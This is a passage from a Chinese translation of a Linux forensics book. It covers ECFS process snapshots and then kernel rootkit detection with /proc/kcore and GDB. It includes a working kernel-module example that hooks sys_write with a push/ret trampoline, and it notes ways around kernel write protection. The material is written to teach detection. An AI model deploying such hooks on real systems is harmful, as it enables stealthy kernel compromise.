     6: 00007f3dfd54bd00     0 FUNC    GLOBAL DEFAULT  UND sleep
     7: 00007f3dfd84a870     8 OBJECT  GLOBAL DEFAULT   25 stdout

Symbol table '.symtab' contains 5 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 00000000004004f0   112 FUNC    GLOBAL DEFAULT   10 sub_4004f0
     1: 0000000000400560    42 FUNC    GLOBAL DEFAULT   10 sub_400560
     2: 000000000040064d   138 FUNC    GLOBAL DEFAULT   10 sub_40064d
     3: 00000000004006e0   101 FUNC    GLOBAL DEFAULT   10 sub_4006e0
     4: 0000000000400750     2 FUNC    GLOBAL DEFAULT   10 sub_400750

ECFS 部分头

ECFS 处理程序重建了程序可能具有的大部分原始部分头。它还添加了一些非常有用的新部分和部分类型,对于取证分析非常有用。部分头由名称和类型标识,并包含数据或代码。

解析部分头非常容易,因此它们对于创建进程内存映像的地图非常有用。通过部分头导航整个进程布局比仅具有程序头(例如常规核心文件)要容易得多,后者甚至没有字符串名称。程序头描述内存段,而部分头为给定段的每个部分提供上下文。部分头有助于为逆向工程师提供更高的分辨率。

部分头 描述
._TEXT 这指向文本段(而不是.text部分)。这使得在不必解析程序头的情况下定位文本段成为可能。
._DATA 这指向数据段(而不是.data部分)。这使得在不必解析程序头的情况下定位数据段成为可能。
.stack 这指向了几个可能的堆栈段之一,取决于线程的数量。如果没有名为.stack的部分,要知道进程的实际堆栈在哪里将会更加困难。您将不得不查看%rsp寄存器的值,然后查看哪些程序头段包含与堆栈指针值匹配的地址范围。
.heap 类似于.stack部分,这指向堆段,也使得识别堆变得更加容易,特别是在 ASLR 将堆移动到随机位置的系统上。在旧系统上,它总是从数据段扩展的。
.bss 此部分并非 ECFS 的新内容。之所以在这里提到它,是因为对于可执行文件或共享库,.bss部分不包含任何内容,因为未初始化的数据在磁盘上不占用空间。然而,ECFS 表示内存,因此.bss部分实际上直到运行时才会被创建。ECFS 文件具有一个实际反映进程使用的未初始化数据变量的.bss部分。
.vdso 这指向映射到每个 Linux 进程中的[vdso]段,其中包含对于某些glibc系统调用包装器调用真实系统调用所必需的代码。
.vsyscall 类似于.vdso代码,.vsyscall页面包含用于调用少量虚拟系统调用的代码。它已经保留了向后兼容性。在逆向工程中了解此位置可能会很有用。
.procfs.tgz 此部分包含由 ECFS 处理程序捕获的进程/proc/$pid的整个目录结构和文件。如果您是一位狂热的取证分析师或程序员,那么您可能已经知道proc文件系统中包含的信息有多么有用。对于单个进程,在/proc/$pid中有超过 300 个文件。

| .prstatus | 此部分包含一系列elf_prstatus结构的数组。这些结构中存储了有关进程状态和寄存器状态的非常重要的信息:

struct elf_prstatus
  {
    struct elf_siginfo pr_info;         /* Info associated with signal.  */
    short int pr_cursig;                /* Current signal.  */
    unsigned long int pr_sigpend;       /* Set of pending signals.  */
    unsigned long int pr_sighold;       /* Set of held signals.  */
    __pid_t pr_pid;
    __pid_t pr_ppid;
    __pid_t pr_pgrp;
    __pid_t pr_sid;
    struct timeval pr_utime;            /* User time.  */
    struct timeval pr_stime;            /* System time.  */
    struct timeval pr_cutime;           /* Cumulative user time.  */
    struct timeval pr_cstime;           /* Cumulative system time.  */
    elf_gregset_t pr_reg;               /* GP registers.  */
    int pr_fpvalid;                     /* True if math copro being used.  */
  };

|

| .fdinfo | 此部分包含描述进程打开文件、网络连接和进程间通信所使用的文件描述符、套接字和管道的 ECFS 自定义数据。头文件ecfs.h定义了fdinfo_t类型:

typedef struct fdinfo {
        int fd;
        char path[MAX_PATH];
        loff_t pos;
        unsigned int perms;
        struct {
                struct in_addr src_addr;
                struct in_addr dst_addr;
                uint16_t src_port;
                uint16_t dst_port;
        } socket;
        char net;
} fd_info_t;

readecfs实用程序可以解析并漂亮地显示文件描述符信息,如查看 sshd 的 ECFS 快照时所示:

        [fd: 0:0] perms: 8002 path: /dev/null
        [fd: 1:0] perms: 8002 path: /dev/null
        [fd: 2:0] perms: 8002 path: /dev/null
        [fd: 3:0] perms: 802 path: socket:[10161]
        PROTOCOL: TCP
        SRC: 0.0.0.0:22
        DST: 0.0.0.0:0

        [fd: 4:0] perms: 802 path: socket:[10163]
        PROTOCOL: TCP
        SRC: 0.0.0.0:22
        DST: 0.0.0.0:0

|

.siginfo 此部分包含特定信号的信息,例如杀死进程的信号,或者在快照被拍摄之前的最后一个信号代码。siginfo_t struct存储在此部分。此结构的格式可以在/usr/include/bits/siginfo.h中看到。
.auxvector 这包含来自堆栈底部(最高内存地址)的实际辅助向量。辅助向量由内核在运行时设置,它包含传递给动态链接器的运行时信息。这些信息对于高级取证分析人员可能在多种情况下都很有价值。
.exepath 这保存了为该进程调用的原始可执行路径的字符串,即/usr/sbin/sshd

| .personality | 这包含个性信息,即 ECFS 个性信息。可以使用 8 字节的无符号整数设置任意数量的个性标志:

#define ELF_STATIC (1 << 1) // if it's statically linked (instead of dynamically)
#define ELF_PIE (1 << 2)    // if it's a PIE executable
#define ELF_LOCSYM (1 << 3) // was a .symtab symbol table created by ecfs?
#define ELF_HEURISTICS (1 << 4) // were detection heuristics used by ecfs?
#define ELF_STRIPPED_SHDRS (1 << 8) // did the binary have section headers?

|

.arglist 包含存储为数组的原始'char **argv'

将 ECFS 文件用作常规核心文件

ECFS 核心文件格式基本上与常规 Linux 核心文件向后兼容,因此可以像传统方式一样与 GDB 一起用作调试核心文件。

ECFS 文件的 ELF 文件头将其e_type(ELF 类型)设置为ET_NONE,而不是ET_CORE。这是因为核心文件不应该有节头,但 ECFS 文件确实有节头,为了确保它们被诸如objdumpobjcopy等特定实用程序所承认,我们必须将它们标记为非 CORE 文件。在 ECFS 文件中切换 ELF 类型的最快方法是使用随 ECFS 软件套件一起提供的et_flip实用程序。

以下是使用 GDB 与 ECFS 核心文件的示例:

$ gdb -q /usr/sbin/sshd sshd.1195
Reading symbols from /usr/sbin/sshd...(no debugging symbols found)...done.
"/opt/ecfs/cores/sshd.1195" is not a core dump: File format not recognized
(gdb) quit

接下来,以下是将 ELF 文件类型更改为ET_CORE并重试的示例:

$ et_flip sshd.1195
$ gdb -q /usr/sbin/sshd sshd.1195
Reading symbols from /usr/sbin/sshd...(no debugging symbols found)...done.
[New LWP 1195]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Core was generated by `/usr/sbin/sshd -D'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x00007ff4066b8d83 in __select_nocancel () at ../sysdeps/unix/syscall-template.S:81
81  ../sysdeps/unix/syscall-template.S: No such file or directory.
(gdb)

libecfs API 及其使用方法

libecfs API 是将 ECFS 支持集成到 Linux 恶意软件分析和逆向工程工具中的关键组件。这个库的文档内容太多,无法放入本书的一个章节中。我建议您使用与项目本身一起不断增长的手册:

github.com/elfmaster/ecfs/raw/master/Documentation/libecfs_manual.txt

使用 ECFS 进行进程复活

您是否曾经想过能够在 Linux 中暂停和恢复进程?设计 ECFS 后,很快就显而易见,它们包含了足够的关于进程及其状态的信息,可以将它们重新加载到内存中,以便它们可以从上次停止的地方开始执行。这个功能有许多可能的用途,并需要更多的研究和开发。

目前,ECFS 快照执行的实现是基本的,只能处理简单的进程。在撰写本章时,它可以恢复文件流,但不能处理套接字或管道,并且只能处理单线程进程。执行 ECFS 快照的软件可以在 GitHub 上找到:github.com/elfmaster/ecfs_exec

以下是快照执行的示例:

$ ./print_passfile
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

– interrupted by snapshot -

我们现在有了 ECFS 快照文件 print_passfile.6627(其中 6627 是进程 ID)。我们将使用 ecfs_exec 来执行这个快照,它应该会从离开的地方开始执行:

$ ecfs_exec ./print_passfile.6627
[+] Using entry point: 7f79a0473f20
[+] Using stack vaddr: 7fff8c752738
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
usbmux:x:103:46:usbmux daemon,,,:/home/usbmux:/bin/false
dnsmasq:x:104:65534:dnsmasq,,,:/var/lib/misc:/bin/false
avahi-autoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
kernoops:x:106:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
saned:x:108:115::/home/saned:/bin/false
whoopsie:x:109:116::/nonexistent:/bin/false
speech-dispatcher:x:110:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh
avahi:x:111:117:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
lightdm:x:112:118:Light Display Manager:/var/lib/lightdm:/bin/false
colord:x:113:121:colord colour management daemon,,,:/var/lib/colord:/bin/false
hplip:x:114:7:HPLIP system user,,,:/var/run/hplip:/bin/false
pulse:x:115:122:PulseAudio daemon,,,:/var/run/pulse:/bin/false
statd:x:116:65534::/var/lib/nfs:/bin/false
guest-ieu5xg:x:117:126:Guest,,,:/tmp/guest-ieu5xg:/bin/bash
sshd:x:118:65534::/var/run/sshd:/usr/sbin/nologin
gdm:x:119:128:Gnome Display Manager:/var/lib/gdm:/bin/false

这是一个关于ecfs_exec如何工作的非常简单的演示。它使用了来自.fdinfo部分的文件描述符信息来获取文件描述符号、文件路径和文件偏移量。它还使用了.prstatus.fpregset部分来获取寄存器状态,以便可以从离开的地方恢复执行。

了解更多关于 ECFS 的信息

扩展核心文件快照技术 ECFS 仍然相对较新。我在 defcon 23 上做了演讲(www.defcon.org/html/defcon-23/dc-23-speakers.html#O%27Neill),目前这个技术还在不断传播。希望会有一个社区的发展,更多人会开始采用 ECFS 进行日常取证工作和工具。尽管如此,目前已经存在一些关于 ECFS 的资源:

官方 GitHub 页面:github.com/elfmaster/ecfs

总结

在本章中,我们介绍了 ECFS 快照技术和快照格式的基础知识。我们使用了几个真实的取证案例来实验 ECFS,甚至编写了一个使用 libecfs C 库来检测共享库注入和 PLT/GOT 钩子的工具。在下一章中,我们将跳出用户空间,探索 Linux 内核、vmlinux 的布局以及内核 rootkit 和取证技术的组合。

第九章:Linux /proc/kcore 分析

到目前为止,我们已经涵盖了与用户空间相关的 Linux 二进制文件和内存。然而,如果我们不花一章的时间来讨论 Linux 内核,这本书就不会完整。这是因为它实际上也是一个 ELF 二进制文件。类似于程序加载到内存中,Linux 内核映像,也被称为vmlinux,在启动时加载到内存中。它有一个文本段和一个数据段,上面覆盖着许多与内核非常特定的部分头,这些部分头在用户空间可执行文件中是看不到的。在本章中,我们还将简要介绍 LKM,因为它们也是 ELF 文件。

Linux 内核取证和 rootkit

学习 Linux 内核映像的布局对于想要成为 Linux 内核取证真正专家的人来说非常重要。攻击者可以修改内核内存以创建非常复杂的内核 rootkit。有很多技术可以在运行时感染内核。列举一些,我们有以下内容:

    • sys_call_table感染
    • 中断处理程序修补
    • 函数跳板
    • 调试寄存器 rootkit
    • 异常表感染
    • Kprobe 仪器化

这里列出的技术是最常被内核 rootkit 使用的主要方法,通常以LKM可加载内核模块的缩写)的形式感染内核。了解每种技术并知道每种感染在 Linux 内核中的位置以及在内存中的查找位置对于能够检测这种阴险的 Linux 恶意软件类别至关重要。然而,首先让我们退一步,看看我们有什么可以使用的。目前市场上和开源世界中有许多工具可以检测内核 rootkit 并帮助搜索内存感染。我们不会讨论这些。然而,我们将讨论从内核 Voodoo 中提取的方法。内核 Voodoo 是我的一个项目,目前大部分仍然是私有的,只有一些组件被发布给公众,比如taskverse。这将在本章后面讨论,并提供下载链接。它使用一些非常实用的技术来检测几乎任何类型的内核感染。该软件基于我原始作品的想法,名为 Kernel Detective,该作品设计于 2009 年,对于好奇的人,仍然可以在我的网站上找到www.bitlackeys.org/#kerneldetective

这个软件只适用于旧的 32 位 Linux 内核(2.6.0 到 2.6.32);64 位支持只完成了部分。然而,这个项目的一些想法是永恒的,我最近提取了它们,并结合了一些新的想法。结果就是 Kernel Voodoo,一个依赖于/proc/kcore 进行高级内存获取和分析的主机入侵检测系统和内核取证软件。在本章中,我们将讨论它使用的一些基本技术,并在某些情况下,我们将使用 GDB 和/proc/kcore 手动进行操作。

- 标准 vmlinux 没有符号

除非您自己编译了内核,否则您将无法直接访问 vmlinux,它是一个 ELF 可执行文件。相反,您将在/boot中有一个压缩的内核,通常命名为vmlinuz-<kernel_version>。这个压缩的内核镜像可以被解压缩,但结果是一个没有符号表的内核可执行文件。这对于取证分析师或使用 GDB 进行内核调试来说是一个问题。在这种情况下,大多数人的解决方案是希望他们的 Linux 发行版有一个带有调试符号的内核版本的特殊软件包。如果是这样,他们可以从发行库中下载一个带有符号的内核副本。然而,在许多情况下,这是不可能的,或者由于某种原因不方便。尽管如此,这个问题可以通过我在 2014 年设计和发布的一个自定义实用程序来解决。这个工具叫做kdress,因为它装饰了内核符号表。

实际上,它是以 Michael Zalewskis 的一个旧工具 dress 命名的。那个工具会给一个静态可执行文件添加一个符号表。这个名字源于人们运行一个叫做strip的程序来从可执行文件中删除符号,因此"装饰"是一个重建符号表的工具的合适名字。我们的工具 kdress 只是从System.map文件或/proc/kallsyms中获取符号的信息,然后通过为符号表创建一个段头将该信息重建到内核可执行文件中。这个工具可以在我的 GitHub 个人资料中找到github.com/elfmaster/kdress

使用 kdress 构建适当的 vmlinux

以下是一个示例,展示了如何使用 kdress 实用程序构建一个可以在 GDB 中加载的 vmlinux 镜像:

Usage: ./kdress vmlinuz_input vmlinux_output <system.map>

$ ./kdress /boot/vmlinuz-`uname -r` vmlinux /boot/System.map-`uname -r`
[+] vmlinux has been successfully extracted
[+] vmlinux has been successfully instrumented with a complete ELF symbol table.

该实用程序已创建一个名为 vmlinux 的输出文件,其中包含完全重建的符号表。例如,如果我们想要在内核中定位sys_call_table,那么我们可以很容易地找到它:

$ readelf -s vmlinux | grep sys_call_table
 34214: ffffffff81801460  4368 OBJECT  GLOBAL DEFAULT    4 sys_call_table
 34379: ffffffff8180c5a0  2928 OBJECT  GLOBAL DEFAULT    4 ia32_sys_call_table

具有符号的内核镜像对于调试和取证分析都非常重要。几乎所有对 Linux 内核的取证都可以通过 GDB 和/proc/kcore完成。

/proc/kcore 和 GDB 探索

/proc/kcore技术是访问内核内存的接口,以 ELF 核心文件的形式方便地使用 GDB 进行导航。

使用 GDB 和/proc/kcore是一种无价的技术,可以扩展到熟练分析师的深入取证。以下是一个简短的示例,展示了如何导航sys_call_table

导航 sys_call_table 的示例

$ sudo gdb -q vmlinux /proc/kcore
Reading symbols from vmlinux...
[New process 1]
Core was generated by `BOOT_IMAGE=/vmlinuz-3.16.0-49-generic root=/dev/mapper/ubuntu--vg-root ro quiet'.
#0  0x0000000000000000 in ?? ()
(gdb) print &sys_call_table
$1 = (<data variable, no debug info> *) 0xffffffff81801460 <sys_call_table>
(gdb) x/gx &sys_call_table
0xffffffff81801460 <sys_call_table>:  0xffffffff811d5260
(gdb) x/5i 0xffffffff811d5260
   0xffffffff811d5260 <sys_read>:  data32 data32 data32 xchg %ax,%ax
   0xffffffff811d5265 <sys_read+5>:  push   %rbp
   0xffffffff811d5266 <sys_read+6>:  mov    %rsp,%rbp
   0xffffffff811d5269 <sys_read+9>:  push   %r14
   0xffffffff811d526b <sys_read+11>:mov    %rdx,%r14

在这个例子中,我们可以查看sys_call_table[0]中保存的第一个指针,并确定它包含了系统调用函数sys_read的地址。然后我们可以查看该系统调用的前五条指令。这是一个例子,说明使用 GDB 和/proc/kcore轻松导航内核内存。如果已经安装了钩住sys_read的内核 rootkit,并使用了函数 trampolines,那么显示前几条指令将显示跳转或返回到另一个恶意函数。如果您知道要查找什么,使用调试器来检测内核 rootkit 非常有用。Linux 内核的结构细微差别以及可能被感染的方式是高级主题,对许多人来说似乎是神秘的。一章不足以完全揭开所有这些,但我们将涵盖可能用于感染内核和检测感染的方法。在接下来的章节中,我将从一般的角度讨论一些用于感染内核的方法,并给出一些例子。

注意

只使用 GDB 和/proc/kcore,就可以检测到本章中提到的每一种感染。像内核 Voodoo 这样的工具非常好用方便,但并不是绝对必要的,可以检测到与正常运行的内核有所不同。

直接 sys_call_table 修改

传统的内核 rootkit,如adorephalanx,通过覆盖sys_call_table中的指针,使它们指向替代函数,然后根据需要调用原始系统调用来工作。这是通过 LKM 或通过/dev/kmem/dev/mem修改内核的程序来实现的。在今天的 Linux 系统中,出于安全原因,这些可写的内存窗口已被禁用,或者根据内核的配置,除了读操作外,不再能够进行任何操作。还有其他方法试图防止这种感染,例如将sys_call_table标记为const,以便它存储在文本段的.rodata部分。这可以通过将相应的PTE(Page Table Entry 的缩写)标记为可写,或者通过禁用cr0寄存器中的写保护位来绕过。因此,这种类型的感染是一种非常可靠的制作 rootkit 的方法,但也非常容易被检测到。

检测sys_call_table的修改

要检测sys_call_table的修改,可以查看System.map文件或/proc/kallsyms,以查看每个系统调用的内存地址。例如,如果我们想要检测sys_write系统调用是否被感染,我们需要了解sys_write的合法地址及其在sys_call_table中的索引,然后使用 GDB 和/proc/kcore验证正确的地址是否实际存储在内存中。

验证系统调用完整性的示例

$ sudo grep sys_write /proc/kallsyms
ffffffff811d5310 T sys_write
$ grep _write /usr/include/x86_64-linux-gnu/asm/unistd_64.h
#define __NR_write 1
$ sudo gdb -q vmlinux /proc/kcore
(gdb) x/gx &sys_call_table+1
0xffffffff81801464 <sys_call_table+4>:  0x811d5310ffffffff

请记住,在 x86 架构上,数字是以小端存储的。sys_call_table[1]处的值等同于在/proc/kallsyms中查找的正确的sys_write地址。因此,我们已成功验证了sys_writesys_call_table条目没有被篡改。

内核函数跳板

这种技术最初是由 Silvio Cesare 于 1998 年引入的。其想法是能够修改系统调用而无需触及sys_call_table,但事实上,这种技术允许钩住内核中的任何函数。因此,它非常强大。自 1998 年以来,很多事情已经发生了;内核的文本段现在不能再被修改,除非禁用cr0中的写保护位或修改 PTE。然而,主要问题在于,大多数现代内核使用 SMP,而内核函数跳板是不安全的,因为它们在每次调用补丁函数时使用非原子操作,比如memcpy()。事实证明,还有方法可以规避这个问题,使用一种我在这里不讨论的技术。真正的问题在于,内核函数跳板实际上仍在使用,因此理解它们仍然非常重要。

注意

修改调用原始函数的单个调用指令,使其调用替代函数,被认为是一种更安全的技术。这种方法可以用作替代函数跳板,但可能很难找到每个单独的调用,而且这通常会因内核而异。因此,这种方法不太具有可移植性。

函数跳板的示例

想象一下,你想劫持系统调用SYS_write,并且不想担心直接修改sys_call_table,因为这很容易被检测到。这可以通过覆盖sys_write代码的前 7 个字节,使用包含跳转到另一个函数的代码的存根来实现。

在 32 位内核上劫持 sys_write 的示例代码

#define SYSCALL_NR __NR_write

static char syscall_code[7];
static char new_syscall_code[7] =
"\x68\x00\x00\x00\x00\xc3"; // push $addr; ret

// our new version of sys_write
int new_syscall(long fd, void *buf, size_t len)
{
        printk(KERN_INFO "I am the evil sys_write!\n");

        // Replace the original code back into the first 6
        // bytes of sys_write (remove trampoline)

        memcpy(
       sys_call_table[SYSCALL_NR], syscall_code,
                sizeof(syscall_code)
        );

        // now we invoke the original system call with no trampoline
        ((int (*)(fd, buf, len))sys_call_table[SYSCALL_NR])(fd, buf, len);

        // Copy the trampoline back in place!
        memcpy(
                sys_call_table[SYSCALL_NR], new_syscall_code,
                sizeof(syscall_code)
        );
}

int init_module(void)
{
        // patch trampoline code with address of new sys_write
        *(long *)&new_syscall_code[1] = (long)new_syscall;

        // insert trampoline code into sys_write
        memcpy(
                syscall_code, sys_call_table[SYSCALL_NR],
                sizeof(syscall_code)
        );
        memcpy(
                sys_call_table[SYSCALL_NR], new_syscall_code,
                sizeof(syscall_code)
        );
        return 0;
}

void cleanup_module(void)
{
        // remove infection (trampoline)
        memcpy(
                sys_call_table[SYSCALL_NR], syscall_code,
                sizeof(syscall_code)
        );
}

这个代码示例用push; ret存根替换了sys_write的前 6 个字节,它将新的sys_write函数的地址推送到堆栈上并返回到它。然后新的sys_write函数可以做任何诡秘的事情,尽管在这个示例中我们只是向内核日志缓冲区打印一条消息。在完成了诡秘的事情之后,它必须删除跳板代码,以便调用未篡改的 sys_write,并最后将跳板代码放回原处。

检测函数跳板

通常,函数跳板将覆盖它们钩住的函数的过程前言的一部分(前 5 到 7 个字节)。因此,要检测内核函数或系统调用中的函数跳板,应检查前 5 到 7 个字节,并寻找跳转或返回到另一个地址的代码。这样的代码可以有各种形式。以下是一些示例。

使用 ret 指令的示例

将目标地址推送到堆栈上并返回到它。当使用 32 位目标地址时,这需要 6 个字节的机器代码:

push $address
ret

使用间接 jmp 的示例

将目标地址移入寄存器以进行间接跳转。当使用 32 位目标地址时,这需要 7 个字节的代码:

movl $addr, %eax
jmp *%eax

使用相对 jmp 的示例

计算偏移量并执行相对跳转。当使用 32 位偏移量时,这需要 5 个字节的代码:

jmp offset

例如,如果我们想要验证sys_write系统调用是否已经被函数跳板钩住,我们可以简单地检查它的代码,看看过程前言是否还在原位:

$ sudo grep sys_write /proc/kallsyms
0xffffffff811d5310
$ sudo gdb -q vmlinux /proc/kcore
Reading symbols from vmlinux...
[New process 1]
Core was generated by `BOOT_IMAGE=/vmlinuz-3.16.0-49-generic root=/dev/mapper/ubuntu--vg-root ro quiet'.
#0  0x0000000000000000 in ?? ()
(gdb) x/3i 0xffffffff811d5310
   0xffffffff811d5310 <sys_write>:  data32 data32 data32 xchg %ax,%ax
   0xffffffff811d5315 <sys_write+5>:  push   %rbp
   0xffffffff811d5316 <sys_write+6>:  mov    %rsp,%rbp

前 5 个字节实际上用作 NOP 指令以进行对齐(或可能是 ftrace 探针的空间)。内核使用某些字节序列(0x66、0x66、0x66、0x66 和 0x90)。过程前言代码跟随最初的 5 个 NOP 字节,并且完全完整。因此,这验证了sys_write系统调用没有被任何函数跳板钩住。

中断处理程序修补- int 0x80, syscall

感染内核的一个经典方法是将一个虚假的系统调用表插入内核内存,并修改负责调用系统调用的顶半部中断处理程序。在 x86 架构中,中断 0x80 已经被弃用,并已被用特殊的syscall/sysenter指令替换,用于调用系统调用。syscall/sysenter 和int 0x80最终都会调用同一个函数,名为system_call(),它又调用sys_call_table中选择的系统调用。

(gdb) x/i system_call_fastpath+19
0xffffffff8176ea86 <system_call_fastpath+19>:  
callq  *-0x7e7feba0(,%rax,8)

在 x86_64 上,在system_call()中的 swapgs 之后发生前面的 call 指令。以下是entry.S中代码的样子:

call *sys_call_table(,%rax,8)

(r/e)ax寄存器包含被sizeof(long)乘以以获取正确系统调用指针的索引的系统调用号。很容易想象,攻击者可以kmalloc()一个虚假的系统调用表到内存中(其中包含一些指向恶意函数的修改),然后修补调用指令,以便使用虚假的系统调用表。这种技术实际上非常隐秘,因为它对原始的sys_call_table没有任何修改。然而,对于训练有素的人来说,这种技术仍然很容易检测到。

检测中断处理程序的修补

要检测system_call()例程是否已经被修补为调用虚假的sys_call_table,只需使用 GDB 和/proc/kcore反汇编代码,然后找出调用偏移是否指向sys_call_table的地址。正确的sys_call_table地址可以在System.map/proc/kallsyms中找到。

Kprobe rootkits

这种特定类型的内核 rootkit 最初是在 2010 年我写的一篇 Phrack 论文中详细构想和描述的。该论文可以在phrack.org/issues/67/6.html找到。

这种类型的内核 rootkit 是比较奇特的品牌之一,它使用 Linux 内核的 Kprobe 调试钩子在 rootkit 试图修改的目标内核函数上设置断点。这种特定的技术有其局限性,但它可以非常强大和隐蔽。然而,就像其他任何技术一样,如果分析人员知道要寻找什么,那么使用 kprobes 的内核 rootkit 就可以很容易地被检测到。

检测 kprobe rootkit

通过分析内存来检测 kprobes 的存在非常容易。当设置常规 kprobe 时,会在函数的入口点(参见 jprobes)或任意指令上设置断点。通过扫描整个代码段寻找断点来检测是非常容易的,因为除了为了 kprobes 而设置断点外,没有其他原因应该在内核代码中设置断点。对于检测优化过的 kprobes,会使用 jmp 指令而不是断点(int3)指令。当 jmp 放置在函数的第一个字节上时,这是最容易检测的,因为那显然是不合适的。最后,在/sys/kernel/debug/kprobes/list中有一个活跃的 kprobes 简单列表,其中实际包含正在使用的 kprobes 的列表。然而,任何 rootkit,包括我在 phrack 中演示的 rootkit,都会隐藏其 kprobes,所以不要依赖它。一个好的 rootkit 还会阻止在/sys/kernel/debug/kprobes/enabled中禁用 kprobes。

调试寄存器 rootkit – DRR

这种类型的内核 rootkit 使用 Intel Debug 寄存器来劫持控制流。 halfdead在这种技术上写了一篇很棒的 Phrack 论文。它可以在这里找到:

phrack.org/issues/65/8.html

这种技术通常被誉为超级隐蔽,因为它不需要修改sys_call_table。然而,同样地,也有方法来检测这种类型的感染。

检测 DRR

在许多 rootkit 实现中,sys_call_table和其他常见的感染点确实没有被修改,但int1处理程序没有。对do_debug函数的调用指令被修改为调用另一个do_debug函数,如前面链接的 phrack 论文所示。因此,检测这种类型的 rootkit 通常就像反汇编 int1 处理程序并查看call do_debug指令的偏移一样简单,如下所示:

target_address = address_of_call + offset + 5

如果target_address的值与System.map/proc/kallsyms中找到的do_debug地址相同,则意味着 int1 处理程序未被修改,被视为干净的。

VFS 层 rootkit

感染内核的另一个经典而强大的方法是通过感染内核的 VFS 层。这种技术非常出色和隐蔽,因为它在技术上修改了内存中的数据段而不是文本段,而后者更容易检测到不一致。VFS 层是非常面向对象的,包含各种带有函数指针的结构。这些函数指针是文件系统操作,如打开、读取、写入、读取目录等。如果攻击者可以修改这些函数指针,那么他们可以以任何他们认为合适的方式控制这些操作。

检测 VFS 层 rootkit

可能有几种技术可以用来检测这种类型的感染。然而,一般的想法是验证函数指针地址,并确认它们指向预期的函数。在大多数情况下,这些应该指向内核中的函数,而不是存在于 LKMs 中的函数。检测的一个快速方法是验证指针是否在内核的文本段范围内。

验证 VFS 函数指针的一个例子

if ((long)vfs_ops->readdir >= KERNEL_MIN_ADDR &&
    (long)vfs_ops->readdir < KERNEL_MAX_ADDR)
        pointer_is_valid = 1;
else
        pointer_is_valid = 0;

其他内核感染技术

黑客可以使用其他技术来感染 Linux 内核(我们在本章中没有讨论这些技术),比如劫持 Linux 页面错误处理程序(phrack.org/issues/61/7.html)。许多这些技术可以通过查找对文本段的修改来检测,这是我们将在接下来的章节中进一步研究的检测方法。

vmlinux 和.altinstructions 补丁

在我看来,检测 rootkit 最有效的方法可以通过验证内核内存中的代码完整性来概括,换句话说,就是将内核内存中的代码与预期的代码进行比较。但是我们可以将内核内存代码与什么进行比较呢?嗯,为什么不是 vmlinux 呢?这是我最初在 2008 年探索的一种方法。知道 ELF 可执行文件的文本段从磁盘到内存不会改变,除非它是一些奇怪的自修改二进制文件,而内核不是……或者它是吗?我很快遇到了麻烦,并发现内核内存文本段和 vmlinux 文本段之间存在各种代码差异。这一开始让我感到困惑,因为在这些测试期间我没有安装任何内核 rootkit。然而,在检查了 vmlinux 中的一些 ELF 部分后,我很快发现了一些引起我的注意的地方:

$ readelf -S vmlinux | grep alt
  [23] .altinstructions  PROGBITS         ffffffff81e64528  01264528
  [24] .altinstr_replace PROGBITS         ffffffff81e6a480  0126a480

Linux 内核二进制文件中有几个部分包含了替代指令。事实证明,Linux 内核开发人员有一个聪明的想法:如果 Linux 内核可以智能地在运行时修补自己的代码段,根据检测到的特定 CPU 改变某些指令以进行“内存屏障”,这将是一个好主意,因为更少的标准内核需要为所有不同类型的 CPU 创建。不幸的是,对于想要检测内核代码段中的任何恶意更改的安全研究人员来说,这些替代指令首先需要被理解和应用。

.altinstructions 和 .altinstr_replace

有两个部分包含了大部分需要知道的信息,即内核中哪些指令在运行时被修补。现在有一篇很好的文章解释了这些部分,这在我早期研究这一内核领域时是不可用的。

lwn.net/Articles/531148/

然而,总体思路是,.altinstructions 部分包含一个 struct alt_instr 结构的数组。每个结构代表一个替代指令记录,给出了应该用于修补原始指令的新指令的位置。.altinstr_replace 部分包含了实际的替代指令,这些指令由 alt_instr->repl_offset 成员引用。

来自 arch/x86/include/asm/alternative.h

struct alt_instr {
   s32 instr_offset;      /* original instruction */
   s32 repl_offset;       /* offset to replacement instruction */
   u16 cpuid;             /* cpuid bit set for replacement */
   u8  instrlen;          /* length of original instruction */
   u8  replacementlen;    /* length of new instruction, <= instrlen */
};

在旧内核上,前两个成员给出了旧指令和新指令的绝对地址,但在新内核上,使用了相对偏移量。

使用 textify 来验证内核代码完整性

多年来,我设计了几个工具,用于检测 Linux 内核代码段的完整性。这种检测技术显然只对修改文本段的内核 rootkit 有效,而大多数内核 rootkit 在某种程度上都会这样做。但是,也有一些例外,例如仅依赖于修改 VFS 层的 rootkit,它位于数据段中,不会通过验证文本段的完整性来检测到。最近,我编写的工具(内核 Voodoo 软件套件的一部分)名为 textify,它基本上比较了从/proc/kcore中获取的内核内存的文本段与 vmlinux 中的文本段。它解析.altinstructions和其他各种部分,例如.parainstructions,以了解合法修补的代码指令的位置。通过这种方式,不会出现错误的阳性。尽管 textify 目前不向公众开放,但一般思路已经解释过。因此,任何希望尝试使其工作的人都可以重新实现它,尽管这需要一些繁琐的编码过程。

使用 textify 检查 sys_call_table 的示例

